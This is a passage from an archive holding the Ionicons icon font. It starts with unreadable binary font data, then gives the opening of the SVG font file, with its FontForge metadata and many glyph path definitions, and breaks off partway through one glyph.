����"�L���&������(�@��,O ��*��`��.�/���L�P���No0�����p���'q��� #�������!������C>BRic�˨1�c�1�c@!�B!�B)��RJ)��R�c�1�c�1�9�s�9�s.�B!�B!��RJ)���&�_��r�L�&L��6�	�t[�1a�t;„2!�6���G>&L�nD�0.���DŽq!���!����i`?yu(R�nJ(�t�vK�$I�$I�$I�$I�$I�� ���RJ)��R)��RJ)��RJ�F���Zk�����I�1�c�1�c�6���Zk���Z�sι��$IW
��|VBRic���|�2.���v�|�q!�6��1ʸ�J�M@Ric�S����>ʸ(�.m�y�K�np������{L�P�=���#L(Ӎ	�
L�l&��ĕng��R����n��	�-	V��1a�tk"�;fonts/ionicons.svg000064400001146727151701353760010271 0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<!--
2018-6-14: Created with FontForge (http://fontforge.org)
-->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<metadata>
Created by FontForge 20160407 at Thu Jun 14 08:50:34 2018
 By Adam Bradley
Copyright (c) 2018, Adam Bradley
</metadata>
<defs>
<font id="Ionicons" horiz-adv-x="416" >
  <font-face 
    font-family="Ionicons"
    font-weight="400"
    font-stretch="normal"
    units-per-em="512"
    panose-1="2 0 5 3 0 0 0 0 0 0"
    ascent="448"
    descent="-64"
    bbox="-0.75 -64 512.487 448"
    underline-thickness="25.6"
    underline-position="-51.2"
    unicode-range="U+F100-F4CD"
  />
    <missing-glyph />
    <glyph glyph-name="ion-ios-color-fill" unicode="&#xf159;" horiz-adv-x="384" 
d="M167 330l172 -170c4 -4 1 -11 -5 -11v0c-10 0 -23 -1 -29 -7c-8 -8 -88 -86 -126 -123c-11 -10 -28 -10 -39 0l-131 126c-11 11 -12 29 -1 40l85 84l-50 49c-19 19 -19 49 0 68v0c9 9 22 14 34 14s25 -5 34 -14l56 -56v0zM64 338l48 -49l29 28l-50 49c-4 4 -9 6 -14 6
c-6 0 -11 -3 -15 -8c-6 -8 -5 -19 2 -26zM339 108c11 -12 45 -53 45 -76c0 -26 -22 -48 -48 -48v0c-26 0 -48 21 -48 48c0 22 35 64 45 76c2 2 4 2 6 0z" />
    <glyph glyph-name="ion-md-backspace" unicode="&#xf28f;" horiz-adv-x="426" 
d="M390 352c20 0 36 -16 36 -36v-248c0 -20 -16 -36 -36 -36h-266c-12 0 -22 7 -28 16l-96 144l96 144c6 9 16 16 28 16h266zM337 128l-63 64l63 64l-25 25l-64 -64l-63 64l-25 -25l64 -64l-64 -64l25 -25l63 64l64 -64z" />
    <glyph glyph-name="ion-md-paper-plane" unicode="&#xf33e;" 
d="M0 177l416 223l-104 -416l-104 104l-74 -104l-15 148zM295 51l73 288l-291 -156l69 -25l181 138l-115 -161z" />
    <glyph glyph-name="ion-ios-cart" unicode="&#xf3f8;" 
d="M88 24c0 13 10 24 23 24s25 -11 25 -24s-11 -24 -24 -24s-24 11 -24 24zM336 0c-13 0 -24 12 -24 25s12 23 25 23s23 -12 23 -25s-11 -23 -24 -23zM416 316v-3l-16 -116c0 -3 -2 -5 -5 -5l-278 -47v0l4 -24c3 -16 7 -23 11 -26c3 -3 7 -3 9 -3v0h237c8 0 14 -6 14 -14
s-6 -14 -14 -14h-237c-13 0 -25 5 -33 16c-7 9 -12 22 -14 36l-40 212s-2 9 -2 10v0c-1 7 -5 15 -10 16s-17 2 -26 2s-16 5 -16 14s7 14 16 14c27 0 41 0 49 -9c6 -8 8 -12 12 -19c1 -3 5 -4 8 -4l325 -32c2 0 5 -2 6 -4z" />
    <glyph glyph-name="ion-ios-rose" unicode="&#xf4a3;" horiz-adv-x="320" 
d="M320 307c-77 -89 -16 -136 -16 -204s-56 -119 -144 -119s-144 47 -144 115c0 60 35 100 93 131c25 14 33 17 52 26c30 13 65 27 105 38c17 5 35 9 54 13zM39 206c5 38 3 91 -39 135c0 0 66 -15 115 -41c14 -8 28 -17 37 -27c-12 -6 -24 -11 -36 -17c-7 -4 -14 -7 -20 -11
c-25 -14 -44 -29 -57 -39zM256 370c0 0 26 -29 32 -51c-33 -7 -78 -20 -115 -36c-15 15 -43 32 -43 32c52 56 126 55 126 55zM144 351c-12 -8 -21 -16 -31 -27c-26 12 -41 18 -62 24c5 14 14 31 29 52c0 0 35 -11 64 -49z" />
    <glyph glyph-name="ion-ios-refresh" unicode="&#xf49c;" horiz-adv-x="384" 
d="M369 159v0c9 0 16 -7 15 -16c-8 -98 -91 -175 -192 -175c-106 0 -192 85 -192 191c0 104 84 189 188 191c2 0 4 2 4 4v46c0 13 14 21 25 14l96 -67c10 -6 10 -21 0 -27l-96 -67c-11 -7 -25 0 -25 13v50c0 2 -2 4 -4 4c-88 -2 -158 -73 -158 -161c0 -89 72 -161 162 -161
c85 0 155 65 162 148c1 8 7 13 15 13z" />
    <glyph glyph-name="ion-md-musical-note" unicode="&#xf332;" horiz-adv-x="256" 
d="M128 384h128v-85h-85v-214c0 -47 -39 -85 -86 -85s-85 38 -85 85s38 86 85 86c16 0 30 -5 43 -12v225z" />
    <glyph glyph-name="ion-md-list-box" unicode="&#xf31a;" horiz-adv-x="384" 
d="M344 384c22 0 40 -18 40 -40v-304c0 -22 -18 -40 -40 -40h-304c-22 0 -40 18 -40 40v304c0 22 18 40 40 40h304zM240 80v48h-160v-48h160zM304 168v48h-224v-48h224zM304 256v48h-224v-48h224z" />
    <glyph glyph-name="ion-ios-mail" unicode="&#xf1b8;" 
d="M413 301c1 1 3 0 3 -2v-219c0 -18 -14 -32 -32 -32h-352c-18 0 -32 14 -32 32v219c0 2 2 3 3 2l108 -110c1 -1 1 -2 0 -3l-75 -80c-5 -5 -5 -13 0 -18c2 -2 6 -4 9 -4s7 2 9 4l75 80c1 1 2 1 3 0l18 -18c16 -16 36 -25 58 -25s43 8 58 24l18 19c1 1 2 1 3 0l75 -80
c2 -2 6 -4 9 -4s7 2 9 4c5 5 5 13 0 18l-75 80c-1 1 -1 2 0 3zM208 153c-15 0 -29 6 -39 16l-157 160c5 4 12 7 20 7h352c8 0 14 -3 20 -7l-157 -160c-10 -11 -24 -16 -39 -16z" />
    <glyph glyph-name="ion-md-ice-cream" unicode="&#xf30d;" horiz-adv-x="320" 
d="M32 192h256l-128 -224zM296 287c14 -4 24 -16 24 -31v0c0 -18 -14 -32 -32 -32h-256c-18 0 -32 14 -32 32v0c0 15 10 27 24 31c-2 6 -2 15 -2 21c0 42 34 76 76 76c8 0 10 -1 17 -3c-5 -12 -3 -22 -1 -31l3 -1c2 15 11 29 11 29c18 23 46 38 77 38c53 0 96 -43 96 -96
c0 -10 -2 -24 -5 -33z" />
    <glyph glyph-name="ion-md-at" unicode="&#xf28d;" 
d="M218 236c2 0 4 -1 6 -1s5 -1 7 -1l-7 -66c-3 -8 -7 -13 -11 -16s-8 -5 -14 -5s-10 3 -13 9s-4 15 -3 27c2 18 5 30 11 39s14 14 24 14zM208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM336 198c2 40 -8 72 -29 95s-51 35 -91 35
s-73 -13 -97 -37s-37 -57 -39 -99s9 -76 31 -100s53 -36 94 -36c10 0 21 1 31 3s19 6 26 10l-6 24c-7 -3 -15 -5 -24 -7s-18 -2 -26 -2c-31 0 -55 10 -71 29s-24 46 -22 79c2 34 12 61 30 81s42 30 72 30c31 0 55 -10 70 -28s22 -44 20 -77c-1 -16 -4 -30 -11 -40
s-16 -15 -27 -15c-3 0 -5 2 -7 5s-2 10 -2 18l8 83h-1h1c-9 5 -18 9 -25 11s-17 4 -29 4c-17 0 -33 -7 -45 -22s-19 -35 -22 -59c-2 -19 1 -34 9 -46s19 -17 34 -17c8 0 17 2 23 6s11 10 15 18c2 -8 7 -14 13 -18s13 -7 21 -7c25 0 44 7 56 23s19 35 20 56z" />
    <glyph glyph-name="ion-ios-create" unicode="&#xf165;" horiz-adv-x="448" 
d="M372 362c3 3 9 3 12 0l26 -26c3 -3 3 -9 0 -12l-202 -202c-2 -2 -4 -2 -6 -2h-26c-4 0 -8 4 -8 8v26c0 2 0 4 2 6zM444 381c3 -3 4 -8 4 -12s-1 -8 -4 -11l-12 -12c-2 -2 -3 -2 -5 0l-22 22l-10 10c-2 2 -2 4 0 6l11 12c3 3 8 4 12 4s8 -1 11 -4v-1zM218 106l1 1l148 147
c2 2 6 2 6 -2v-209c0 -32 -26 -59 -58 -59h-256c-32 0 -59 27 -59 59v224c0 32 27 58 59 58h241c4 0 4 -5 2 -7l-147 -147l-1 -1c-3 -3 -5 -7 -5 -11v-1v-38v-3c0 -9 7 -16 16 -16h3h38h1c4 0 8 2 11 5z" />
    <glyph glyph-name="ion-logo-chrome" unicode="&#xf22f;" horiz-adv-x="448" 
d="M157 192c0 37 30 67 67 67s67 -30 67 -67s-30 -67 -67 -67s-67 30 -67 67zM445 230c2 -12 3 -25 3 -38c0 -106 -74 -195 -174 -218c-10 -2 -20 -4 -30 -5c-7 -1 -13 -1 -20 -1c-8 0 -17 0 -25 1v0v0v0v1l102 177c8 13 13 28 13 45c0 27 -13 50 -32 67h156
c3 -9 5 -19 7 -29v0c-2 10 -4 20 -7 29v0c3 -9 5 -19 7 -29v0zM224 103c10 0 20 2 29 5l-78 -135v0c-42 9 -79 30 -108 59c-42 41 -67 97 -67 160c0 31 6 61 18 88c7 16 16 31 26 45v0l103 -178c16 -27 43 -44 77 -44zM59 343v0v1c24 26 55 47 90 59c23 8 49 13 75 13
c73 0 138 -36 179 -90h1c10 -14 18 -29 25 -44v0c-7 15 -15 30 -25 44h-1c10 -14 19 -29 26 -44h-205c-44 0 -79 -32 -87 -72z" />
    <glyph glyph-name="ion-md-volume-mute" unicode="&#xf3a1;" horiz-adv-x="192" 
d="M0 256h85l107 112v-352l-107 112h-85v128z" />
    <glyph glyph-name="ion-md-skip-forward" unicode="&#xf37d;" horiz-adv-x="384" 
d="M0 384l277 -192l-277 -192v384zM320 0v384h64v-384h-64z" />
    <glyph glyph-name="ion-ios-infinite" unicode="&#xf44a;" horiz-adv-x="464" 
d="M433 266c20 -20 31 -46 31 -74s-12 -54 -32 -74s-47 -30 -75 -30s-55 10 -75 30l-125 123c-14 13 -32 20 -51 20s-36 -7 -50 -20c-13 -13 -21 -31 -21 -49s8 -36 21 -49c14 -13 31 -20 50 -20s37 7 51 20l31 30c2 2 3 2 5 0l20 -19c2 -2 2 -4 0 -6l-31 -30
c-20 -20 -48 -30 -76 -30s-55 10 -75 30s-31 46 -31 74s11 54 31 74s47 30 75 30s56 -10 76 -30l125 -123c14 -13 32 -20 51 -20s36 7 50 20c13 13 20 31 20 49s-7 36 -20 49c-14 13 -31 20 -50 20s-37 -7 -51 -20l-31 -30c-2 -2 -3 -2 -5 0l-20 19c-2 2 -2 4 0 6l31 30
c20 20 48 30 76 30s55 -10 75 -30z" />
    <glyph glyph-name="ion-logo-windows" unicode="&#xf32f;" horiz-adv-x="448" 
d="M448 183v0v-215l-248 36v179h248zM184 183v0v-177l-184 27v150h184zM448 416v0v-217h-248v182zM184 378v0v-179h-184v153z" />
    <glyph glyph-name="ion-md-microphone" unicode="&#xf32d;" horiz-adv-x="256" 
d="M256 336h-56v-37h56v-43h-56v-37h56v-43h-56v-37h56v-42c0 -29 -25 -52 -55 -52h-30v-77h-86v77h-30c-30 0 -55 23 -55 52v42h152v37h-152v43h152v37h-152v43h152v37h-152v28c0 29 25 52 55 52h146c30 0 55 -23 55 -52v-28z" />
    <glyph glyph-name="ion-ios-share-alt" unicode="&#xf20f;" horiz-adv-x="384" 
d="M381 218c2 -2 3 -7 3 -10s0 -6 -3 -8l-143 -134c-5 -5 -14 -2 -14 5v65c0 2 -2 5 -4 5c-98 -1 -161 -44 -212 -108c-3 -3 -9 1 -8 5c21 109 80 214 220 236c2 0 4 2 4 4v66c0 5 6 8 10 8c2 0 4 0 6 -2z" />
    <glyph glyph-name="ion-md-wine" unicode="&#xf3a9;" horiz-adv-x="384" 
d="M171 171l-171 170v43h384v-43l-171 -170v-131h107v-40h-256v40h107v131zM96 299h192l43 42h-278z" />
    <glyph glyph-name="ion-md-skip-backward" unicode="&#xf37c;" horiz-adv-x="384" 
d="M107 192l277 192v-384zM0 0v384h64v-384h-64z" />
    <glyph glyph-name="ion-ios-bug" unicode="&#xf134;" horiz-adv-x="448" 
d="M343 321c-6 -16 -17 -31 -29 -43c-24 -24 -56 -37 -90 -37s-67 13 -91 37c-12 12 -22 27 -28 43c29 39 72 63 119 63s90 -24 119 -63zM90 298c22 -45 69 -80 122 -83v-215c-40 2 -73 23 -100 55l-5 -5c-5 -4 -6 -11 -4 -17c3 -8 1 -18 -5 -25c-9 -10 -24 -11 -34 -2
s-11 24 -2 34l3 3s2 1 2 1c4 13 13 26 27 37c-15 26 -26 56 -29 89c-2 0 -4 -1 -6 -1c-6 -1 -10 -4 -12 -9c-4 -10 -14 -17 -25 -16c-12 1 -21 10 -22 22c-1 14 10 26 24 26h3c4 2 8 5 12 6c7 2 14 4 25 4c1 23 6 45 13 65c-6 4 -11 7 -15 11c-5 4 -9 9 -12 14
c-2 3 -3 5 -6 7c-2 1 -4 3 -6 5c-7 7 -7 18 -3 27c6 12 21 17 33 10c11 -6 15 -20 10 -31c2 -4 4 -7 6 -9s6 -3 6 -3zM424 192c14 0 25 -12 24 -26c-1 -12 -10 -21 -22 -22c-11 -1 -20 6 -24 15c-2 6 -7 9 -13 10c-2 0 -4 1 -6 1c-3 -33 -14 -64 -29 -90
c14 -11 23 -23 27 -36c0 0 1 0 2 -1l3 -3c9 -10 8 -25 -2 -34s-25 -8 -34 2c-6 7 -8 16 -5 24c2 6 1 14 -4 18c-2 1 -3 2 -5 4c-27 -32 -60 -52 -100 -54v215c53 3 100 37 122 82c0 0 4 2 6 4c3 3 4 6 6 9c-5 11 -1 25 10 31c12 6 27 3 33 -9s3 -27 -9 -33v0
c-2 -1 -5 -4 -6 -6c-3 -5 -7 -11 -12 -15c-4 -4 -9 -7 -15 -11c7 -20 12 -42 13 -65c11 0 18 -2 25 -4c4 -1 8 -4 12 -6h3z" />
    <glyph glyph-name="ion-ios-help-circle" unicode="&#xf198;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM204 96c12 0 21 9 21 21s-9 20 -21 20s-22 -8 -22 -20s10 -21 22 -21zM244 193c18 11 28 24 28 44c0 30 -25 51 -63 51c-40 0 -64 -23 -65 -55h36c1 15 11 25 26 25s27 -10 27 -22
s-7 -19 -24 -29c-18 -11 -25 -23 -23 -44v-8h35v8c0 13 6 20 23 30z" />
    <glyph glyph-name="ion-md-bulb" unicode="&#xf2a7;" horiz-adv-x="288" 
d="M80 20v18h128v-18c0 -11 -9 -20 -20 -20h-88c-11 0 -20 9 -20 20zM144 384c80 0 144 -60 144 -134c0 -46 -25 -87 -62 -111v-43c0 -11 -9 -19 -20 -19h-124c-11 0 -21 8 -21 19v43c-37 24 -61 65 -61 111c0 74 64 134 144 134z" />
    <glyph glyph-name="ion-ios-document" unicode="&#xf170;" horiz-adv-x="304" 
d="M208 293c-10 0 -19 9 -19 19v72c0 4 3 8 7 8v0c8 0 15 -3 21 -8l76 -63c7 -6 11 -14 11 -23v0c0 -3 -2 -5 -5 -5h-91zM163 312c0 -25 20 -45 45 -45h96v-243c0 -18 -14 -32 -32 -32h-240c-18 0 -32 14 -32 32v336c0 18 14 32 32 32h131v-80z" />
    <glyph glyph-name="ion-ios-search" unicode="&#xf4a5;" horiz-adv-x="384" 
d="M380 28c6 -7 6 -18 -1 -24c-3 -3 -7 -4 -11 -4s-9 2 -12 5l-106 107c-26 -21 -60 -34 -97 -34c-85 0 -153 69 -153 153s68 153 153 153s153 -69 153 -153c0 -36 -12 -69 -33 -95zM153 111c32 0 62 12 85 35s35 53 35 85s-12 62 -35 85s-53 35 -85 35s-62 -12 -85 -35
s-35 -53 -35 -85s12 -62 35 -85s53 -35 85 -35z" />
    <glyph glyph-name="ion-logo-youtube" unicode="&#xf34f;" horiz-adv-x="512" 
d="M509 299c2 -36 3 -71 3 -107s-1 -71 -3 -107c0 -45 -33 -81 -74 -81c-58 -3 -118 -4 -179 -4s-121 1 -179 4c-41 0 -74 36 -74 81c-2 36 -3 71 -3 107s2 71 4 107c0 45 32 81 73 81c55 3 112 4 170 4h9h9c58 0 115 -1 170 -4c41 0 74 -36 74 -81zM207 94l145 98l-145 99
v-197z" />
    <glyph glyph-name="ion-md-aperture" unicode="&#xf279;" horiz-adv-x="448" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM360 56c36 36 56 85 56 136s-20 100 -56 136s-85 56 -136 56s-100 -20 -136 -56s-56 -85 -56 -136s20 -100 56 -136s85 -56 136 -56s100 20 136 56zM168 342l56 -86h-147
c17 40 50 71 91 86zM381 160h-102l72 129c21 -27 33 -60 33 -97c0 -11 -1 -22 -3 -32zM328 314l-49 -90l-78 126c8 1 15 2 23 2c40 0 76 -14 104 -38zM67 224h102l-72 -129c-21 27 -33 60 -33 97c0 11 1 22 3 32zM280 42l-56 86h147c-17 -40 -50 -71 -91 -86zM120 70l49 90
l78 -126c-8 -1 -15 -2 -23 -2c-40 0 -76 14 -104 38z" />
    <glyph glyph-name="ion-md-list" unicode="&#xf31b;" horiz-adv-x="352" 
d="M0 120v48h256v-48h-256zM0 216v48h320v-48h-320zM0 312v48h352v-48h-352zM0 24v48h288v-48h-288z" />
    <glyph glyph-name="ion-ios-power" unicode="&#xf1ef;" horiz-adv-x="384" 
d="M316 336c43 -36 68 -89 68 -145c0 -105 -86 -191 -192 -191s-192 86 -192 191c0 56 25 109 68 145c3 3 8 5 12 5c5 0 9 -3 13 -7c3 -4 5 -8 5 -13s-3 -10 -7 -13c-35 -29 -55 -72 -55 -117c0 -85 70 -155 156 -155s156 70 156 155c0 45 -20 87 -55 117c-4 3 -7 8 -7 13
s2 9 5 13s9 7 14 7c4 0 8 -2 11 -5zM193 174c-10 0 -19 8 -19 18v174c0 10 9 18 19 18s18 -8 18 -18v-174c0 -10 -8 -18 -18 -18z" />
    <glyph glyph-name="ion-md-grid" unicode="&#xf302;" horiz-adv-x="384" 
d="M346 384c21 0 38 -17 38 -38v-308c0 -21 -17 -38 -38 -38h-308c-21 0 -38 17 -38 38v308c0 21 17 38 38 38h308zM115 38v77h-77v-77h77zM115 154v76h-77v-76h77zM115 269v77h-77v-77h77zM230 38v77h-76v-77h76zM230 154v76h-76v-76h76zM230 269v77h-76v-77h76zM346 38v77
h-77v-77h77zM346 154v76h-77v-76h77zM346 269v77h-77v-77h77z" />
    <glyph glyph-name="ion-ios-glasses" unicode="&#xf43f;" horiz-adv-x="446" 
d="M432 207c8 0 14 -7 14 -15s-6 -15 -14 -15h-7c-3 -21 -13 -40 -28 -55c-17 -17 -40 -26 -64 -26c-51 0 -93 43 -93 96v0c0 6 -7 15 -17 15s-17 -9 -17 -15v0c0 -53 -42 -96 -93 -96c-24 0 -47 9 -64 26c-15 15 -25 34 -28 55h-7c-8 0 -14 7 -14 15s6 15 14 15h7
c3 21 13 40 28 55c17 16 40 26 64 26c20 0 40 -6 56 -19c14 -11 24 -25 30 -42c7 5 16 7 24 7s17 -2 24 -7c6 17 16 31 30 42c16 13 36 19 56 19c24 0 47 -9 64 -26c15 -15 25 -34 28 -55h7z" />
    <glyph glyph-name="ion-md-hand" unicode="&#xf304;" horiz-adv-x="414" 
d="M401 174c15 -15 18 -36 3 -51c0 0 -96 -103 -126 -121v0c-28 -21 -65 -34 -100 -34c-55 0 -101 36 -117 85v0v1c0 1 -1 2 -1 3l-58 189c-5 15 2 32 17 37s30 -3 35 -18l34 -88c1 -4 2 -2 2 1l-22 161c-3 15 7 30 22 33s30 -8 33 -23l25 -138c0 -2 2 -2 2 0v177
c0 15 13 28 28 28s28 -13 28 -28l8 -175c0 -5 3 -4 4 -1l23 135c2 15 16 27 31 25s27 -17 25 -32l-21 -172c-1 -12 -3 -30 2 -36c8 -9 20 -9 31 2l42 42c15 15 35 13 50 -2z" />
    <glyph glyph-name="ion-ios-bluetooth" unicode="&#xf128;" horiz-adv-x="256" 
d="M250 115c7 -6 7 -16 1 -23l-116 -120c-2 -2 -6 -4 -9 -4v0c-6 0 -11 5 -11 11v170l-85 -74c-7 -6 -19 -5 -25 2v0c-6 7 -5 18 2 24l108 91l-109 92c-7 6 -8 17 -2 24v0c6 7 18 7 25 1l86 -73v169c0 6 5 11 11 11v0c3 0 7 -2 9 -4l116 -121c6 -7 6 -17 -1 -23l-88 -76z
M151 347c-1 1 -3 1 -3 -1v-119c0 -2 2 -3 3 -2l63 53c1 1 1 2 0 3zM148 38c0 -2 2 -2 3 -1l63 65c1 1 1 2 0 3l-63 53c-1 1 -3 0 -3 -2v-118z" />
    <glyph glyph-name="ion-ios-time" unicode="&#xf4bf;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM222 174v146c0 8 -6 14 -14 14s-14 -6 -14 -14v-132h-82c-8 0 -14 -6 -14 -14s6 -14 14 -14h96c8 0 14 6 14 14z" />
    <glyph glyph-name="ion-ios-trending-up" unicode="&#xf25b;" horiz-adv-x="448" 
d="M433 320c8 0 15 -7 15 -15v-118c0 -8 -7 -15 -15 -15s-15 7 -15 15v82l-150 -152c-3 -3 -6 -4 -10 -4s-8 1 -11 4l-86 84l-135 -133c-3 -3 -7 -4 -11 -4s-8 1 -11 4s-4 6 -4 10c0 6 2 9 4 11l146 143c3 3 7 5 11 5s8 -2 11 -5l86 -84l138 142h-84c-8 0 -15 7 -15 15
s7 15 15 15h121z" />
    <glyph glyph-name="ion-md-contact" unicode="&#xf2d6;" 
d="M208 400c114 0 208 -94 208 -208s-94 -208 -208 -208s-208 94 -208 208s94 208 208 208zM208 338c-34 0 -62 -29 -62 -63s28 -62 62 -62s62 28 62 62s-28 63 -62 63zM208 37c52 0 98 27 125 67c-1 42 -83 64 -125 64s-124 -22 -125 -64c27 -40 73 -67 125 -67z" />
    <glyph glyph-name="ion-md-close-circle" unicode="&#xf2bf;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM312 117l-75 75l75 75l-29 29l-75 -75l-75 75l-29 -29l75 -75l-75 -75l29 -29l75 75l75 -75z" />
    <glyph glyph-name="ion-logo-sass" unicode="&#xf249;" horiz-adv-x="512" 
d="M512 119v-8c-1 -9 -7 -17 -15 -22s-12 -4 -13 -3s1 3 4 5c13 8 17 20 10 33c-5 10 -15 16 -26 20c-24 8 -48 7 -72 0c4 -12 7 -23 -2 -34c-10 -12 -23 -19 -39 -22c-7 -2 -14 2 -15 9c-3 19 17 36 30 47c-7 11 -11 24 -14 37c-15 -17 -31 -40 -26 -61
c3 -14 -1 -27 -14 -36s-30 -14 -46 -11c-4 1 -6 5 -5 8c2 14 25 32 35 43c2 2 3 4 1 7c-6 12 -10 23 -14 36c-13 -29 -30 -80 -57 -98c-9 -6 -17 -4 -21 5c-3 8 -2 20 -1 29c-6 -13 -11 -27 -20 -38c-7 -8 -24 -7 -30 1c-16 21 -13 50 -5 73l-29 -15c7 -16 8 -32 4 -49
c-5 -19 -17 -35 -35 -46c-19 -12 -64 -24 -77 4c-7 16 -4 30 6 44c17 24 48 37 74 50c-32 23 -80 42 -96 80c-15 35 17 68 43 89c59 48 166 95 244 59c15 -7 36 -24 31 -52c-4 -24 -13 -39 -28 -54c-32 -32 -152 -77 -176 -15c-1 1 -1 4 1 4c2 -1 20 -15 43 -16
c17 -1 36 3 52 8c33 11 71 33 80 67c4 13 -2 28 -15 34c-49 24 -116 -4 -159 -26c-33 -17 -84 -45 -82 -87c1 -37 56 -60 81 -82c15 7 42 15 52 27c11 13 26 25 44 26c8 0 14 -3 16 -10c2 -6 1 -11 0 -19c5 4 11 4 15 -1c12 -14 -22 -50 -10 -66c14 14 21 42 30 59
c4 8 17 51 26 53c7 2 18 4 25 0c2 -1 3 -3 2 -5c-7 -19 -7 -33 3 -52c14 20 29 43 34 67c1 2 3 3 5 4c7 2 18 3 25 0c3 -1 3 -2 2 -5c-7 -22 -6 -38 6 -58c31 11 69 15 97 -5c-3 2 -7 5 0 0c5 -4 3 -2 0 0c12 -8 19 -18 21 -32zM113 94v0c1 7 -1 13 -3 20
c-24 -8 -66 -35 -64 -62c1 -10 8 -13 17 -12s19 7 27 13c14 11 22 24 23 41zM216 166c1 3 -2 5 -5 4c-29 -8 -43 -57 -33 -81c1 -3 4 -3 6 -1c17 16 28 56 32 78zM286 84c8 -3 27 17 26 27c-8 -9 -18 -18 -26 -27zM367 102c11 6 16 19 12 30c-8 -6 -21 -19 -20 -31
c0 -2 6 0 8 1z" />
    <glyph glyph-name="ion-ios-apps" unicode="&#xf10a;" horiz-adv-x="384" 
d="M371 310c18 -8 18 -21 0 -29l-148 -67c-17 -8 -45 -8 -62 0l-148 67c-18 8 -18 21 0 29l150 68c16 7 43 7 59 0zM161 73c17 -8 45 -8 62 0l100 45c4 2 9 2 13 0l35 -16c18 -8 18 -21 0 -29l-148 -67c-17 -8 -45 -8 -62 0l-148 67c-18 8 -18 21 0 29l35 16c4 2 10 2 14 0z
M371 206c18 -8 18 -21 0 -29l-148 -67c-17 -8 -45 -8 -62 0l-148 67c-18 8 -18 21 0 29l32 15c4 2 9 2 13 0l108 -49c15 -5 37 -5 52 0l108 49c4 2 9 2 13 0z" />
    <glyph glyph-name="ion-ios-outlet" unicode="&#xf1db;" 
d="M311 370c3 0 6 0 8 -2c58 -37 97 -102 97 -176s-39 -138 -97 -176c-2 -2 -5 -2 -8 -2h-206c-3 0 -6 0 -8 2c-58 38 -97 102 -97 176s39 139 97 176c2 2 5 2 8 2h206zM145 177c2 0 4 2 4 4v111c0 2 -2 4 -4 4h-22c-2 0 -4 -2 -4 -4v-111c0 -2 2 -4 4 -4h22zM234 58
c2 0 4 2 4 4v41c0 16 -14 30 -30 30s-30 -15 -30 -31v-40c0 -2 2 -4 4 -4h52zM293 192c2 0 4 2 4 4v81c0 2 -2 4 -4 4h-22c-2 0 -4 -2 -4 -4v-81c0 -2 2 -4 4 -4h22z" />
    <glyph glyph-name="ion-ios-tablet-landscape" unicode="&#xf223;" horiz-adv-x="448" 
d="M7 345v0c4 4 11 7 17 7h400c6 0 13 -3 17 -7v0c4 -4 7 -11 7 -17v-272c0 -6 -3 -13 -7 -17v0c-4 -4 -11 -7 -17 -7h-400c-6 0 -13 3 -17 7v0c-4 4 -7 11 -7 17v272c0 6 3 13 7 17zM17 192c0 -4 3 -7 7 -7s7 3 7 7s-3 7 -7 7s-7 -3 -7 -7zM438 192c0 8 -6 14 -14 14
s-14 -6 -14 -14s6 -14 14 -14s14 6 14 14zM400 336h-352v-288h352v288z" />
    <glyph glyph-name="ion-md-arrow-dropdown-circle" unicode="&#xf27f;" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 128l96 96h-192z" />
    <glyph glyph-name="ion-logo-flickr" unicode="&#xf107;" horiz-adv-x="384" 
d="M288 384c53 0 96 -43 96 -96v-192c0 -53 -43 -96 -96 -96h-192c-53 0 -96 43 -96 96v192c0 53 43 96 96 96h192zM120 144c26 0 48 22 48 48s-22 48 -48 48s-48 -22 -48 -48s22 -48 48 -48zM264 144c26 0 48 22 48 48s-22 48 -48 48s-48 -22 -48 -48s22 -48 48 -48z" />
    <glyph glyph-name="ion-md-tv" unicode="&#xf17f;" horiz-adv-x="448" 
d="M407 372c22 0 41 -18 41 -40v-240c0 -22 -19 -40 -41 -40h-102v-40h-163v40h-101c-22 0 -41 18 -41 40v240c0 22 19 40 41 40h366zM407 92v0v240h-366v-240h366z" />
    <glyph glyph-name="ion-ios-bowtie" unicode="&#xf130;" horiz-adv-x="448" 
d="M259 234c10 -17 19 -53 17 -85c-1 -17 -5 -22 -5 -22s-12 -7 -36 -7h-11c-35 3 -40 15 -40 15s4 12 8 43s0 58 0 58s7 5 19 7c8 2 17 3 23 3v0c11 0 20 -4 25 -12zM174 239c0 0 3 -16 2 -32v-10c0 -3 -1 -6 -1 -10c0 -5 0 -10 -1 -15l-2 -10c-4 -21 -10 -34 -10 -34
s-77 -80 -110 -80c-28 0 -52 68 -52 144s26 144 52 144c35 0 100 -57 122 -97zM396 336c26 0 52 -68 52 -144s-24 -144 -52 -144c-37 0 -98 69 -106 79c0 0 4 5 5 22v9v8c0 11 -2 23 -4 33l-3 11c-3 10 -7 18 -10 24c0 1 -2 4 -2 4l1 1c22 40 83 97 119 97z" />
    <glyph glyph-name="ion-ios-barcode" unicode="&#xf3dc;" 
d="M74 60c4 0 7 -2 10 -5s4 -6 4 -10c0 -8 -7 -13 -15 -13h-56c-10 0 -17 6 -17 16v288c0 10 8 16 18 16h54c4 0 9 -1 12 -4s4 -6 4 -10c0 -8 -7 -14 -15 -14h-40c-2 0 -4 -2 -4 -4v-256c0 -2 2 -4 4 -4h41zM399 352c10 0 17 -6 17 -16v-288c0 -10 -7 -16 -17 -16h-57
c-4 0 -7 1 -10 4s-4 6 -4 10c0 8 7 14 15 14h40c2 0 4 2 4 4v256c0 2 -2 4 -4 4h-41c-5 0 -9 3 -12 8c0 1 -1 1 -1 2c-3 10 4 18 14 18h56zM74 272c8 0 14 -6 14 -14v-132c0 -8 -6 -14 -14 -14s-14 6 -14 14v132c0 8 6 14 14 14zM342 112c-8 0 -14 6 -14 14v132
